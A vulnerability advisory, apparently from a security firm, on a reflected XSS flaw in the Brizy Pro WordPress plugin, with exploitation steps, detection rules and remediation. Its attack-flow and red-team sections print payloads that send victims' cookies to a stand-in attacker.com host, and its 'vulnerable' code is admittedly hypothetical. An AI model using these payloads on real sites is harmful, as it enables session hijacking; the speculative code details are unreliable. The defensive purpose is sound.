CVE-2025-22763

Executive Summary

CVE-2025-22763 is a reflected Cross-Site Scripting (XSS) vulnerability in the Brizy Pro WordPress plugin, affecting versions up to and including 2.8.0. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement within the context of the victim’s browser session.

As a WordPress plugin vulnerability, this issue resides entirely within the Brizy Pro ecosystem and is not related to the underlying web server (Apache/Nginx). The CVSS score of 7.1 (High) reflects the low attack complexity and network-based vector, though user interaction is required. No public proof-of-concept (PoC) or exploit code has been released at this time, and the vendor has not yet provided a patch.

Supply Chain & Package Security

This vulnerability affects the Brizy Pro WordPress plugin, distributed via the official WordPress plugin repository and third-party marketplaces. Users who have installed the plugin from untrusted sources or who have not updated to a patched version (if/when released) are at risk. The plugin is a commercial product, and its update mechanism relies on the vendor’s licensing system. Organizations should verify the integrity of their plugin installations and monitor for official patches.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

The threat level is High due to the low barrier to exploitation and the potential for chaining with other vulnerabilities. While user interaction is required, social engineering tactics (e.g., phishing emails with malicious links) can easily trigger the XSS.

Deep Dive & Mechanics

The vulnerability exists in the Brizy Pro plugin’s handling of HTTP request parameters. When a user visits a crafted URL containing malicious JavaScript in a query parameter (e.g., ?param=<script>alert(1)</script>), the plugin fails to sanitize the input before reflecting it in the HTML response. This allows the attacker’s script to execute in the victim’s browser.

The root cause is the lack of output encoding or input validation in the plugin’s template rendering engine. Specifically, the plugin uses PHP’s $_GET or $_POST superglobals directly in HTML output without applying functions like htmlspecialchars() or esc_html().

Attack Flow:

1. Attacker crafts a malicious URL: https://victim-site.com/?brizy_pro_param=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
2. Victim clicks the link (e.g., via phishing email).
3. The Brizy Pro plugin reflects the parameter value in the page without sanitization.
4. The victim’s browser executes the injected script, sending sensitive data to the attacker.

Vulnerable vs. Patched Code

Vulnerable Code (Brizy Pro <= 2.8.0):

// In some template file or shortcode handler
echo $_GET['brizy_param']; // Direct reflection without sanitization

Patched Code (Hypothetical fix):

// Properly escape output
echo esc_html( $_GET['brizy_param'] );

The patch would involve applying WordPress’s built-in escaping functions (esc_html(), esc_attr(), etc.) to all user-supplied input before output. Since no official patch is available, users must manually apply this fix or disable the plugin.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target WordPress site with Brizy Pro <= 2.8.0 installed and activated.
• Ability to craft a malicious URL.

Exploitation Steps:

1. Identify a vulnerable parameter by fuzzing the plugin’s endpoints (e.g., /?brizy_pro_*).
2. Craft a payload: <script>new Image().src='https://attacker.com/log?c='+document.cookie</script>
3. URL-encode the payload and embed it in a link: https://target.com/?brizy_pro_test=%3Cscript%3Enew%20Image().src%3D%27https%3A%2F%2Fattacker.com%2Flog%3Fc%3D%27%2Bdocument.cookie%3C%2Fscript%3E
4. Send the link to the victim via email or social engineering.
5. Set up a listener on attacker.com to capture exfiltrated cookies.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection & Response:

• Monitor web server logs for unusual query parameters containing <script>, onerror, onload, or base64-encoded strings.
• Deploy a Web Application Firewall (WAF) with rules to block reflected XSS patterns (e.g., OWASP CRS rule 941100).
• Use browser-based XSS filters (e.g., X-XSS-Protection header, though deprecated, or Content Security Policy).

Lab Setup for Testing:

1. Install a local WordPress instance with Brizy Pro 2.8.0.
2. Use a tool like Burp Suite or OWASP ZAP to intercept and modify requests.
3. Send a request with a malicious parameter and observe the response.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing ?brizy_pro_*=<script> or similar patterns.
  • Outbound connections to unknown domains from the WordPress server.
• File IOCs:
  • Modified plugin files (e.g., wp-content/plugins/brizy-pro/...) containing unsanitized $_GET or $_POST usage.
• Log IOCs:
  • Web server logs showing GET /?brizy_pro_test=%3Cscript%3E... entries.
  • PHP error logs indicating uncaught exceptions from plugin code.

Detection Engineering

YARA Rule

rule CVE_2025_22763_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Brizy Pro plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22763"
    strings:
        $xss_pattern1 = /brizy_pro_[a-z_]+=.*<script/i
        $xss_pattern2 = /brizy_pro_[a-z_]+=.*onerror/i
        $xss_pattern3 = /brizy_pro_[a-z_]+=.*onload/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Brizy Pro Plugin
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP requests with malicious query parameters targeting Brizy Pro
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'brizy_pro_'
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of similar parameter names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-22763 Reflected XSS in Brizy Pro"; flow:to_server,established; content:"brizy_pro_"; http_uri; pcre:"/brizy_pro_[a-z_]+=.*<script/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Brizy Pro plugin until an official patch is released.
2. Apply a virtual patch using a WAF to block requests containing brizy_pro_ parameters with script-like content.
3. Monitor logs for exploitation attempts and respond accordingly.

Long-term Fix:

• The vendor must release a patched version (e.g., 2.8.1) that properly escapes all user input.
• Users should update to the latest version as soon as it becomes available.
• Implement a Content Security Policy (CSP) to mitigate XSS impact even if exploitation occurs.

Workaround:

• Manually edit the plugin files to add esc_html() around all $_GET and $_POST values. Note: This will be overwritten on plugin updates.

Valters IT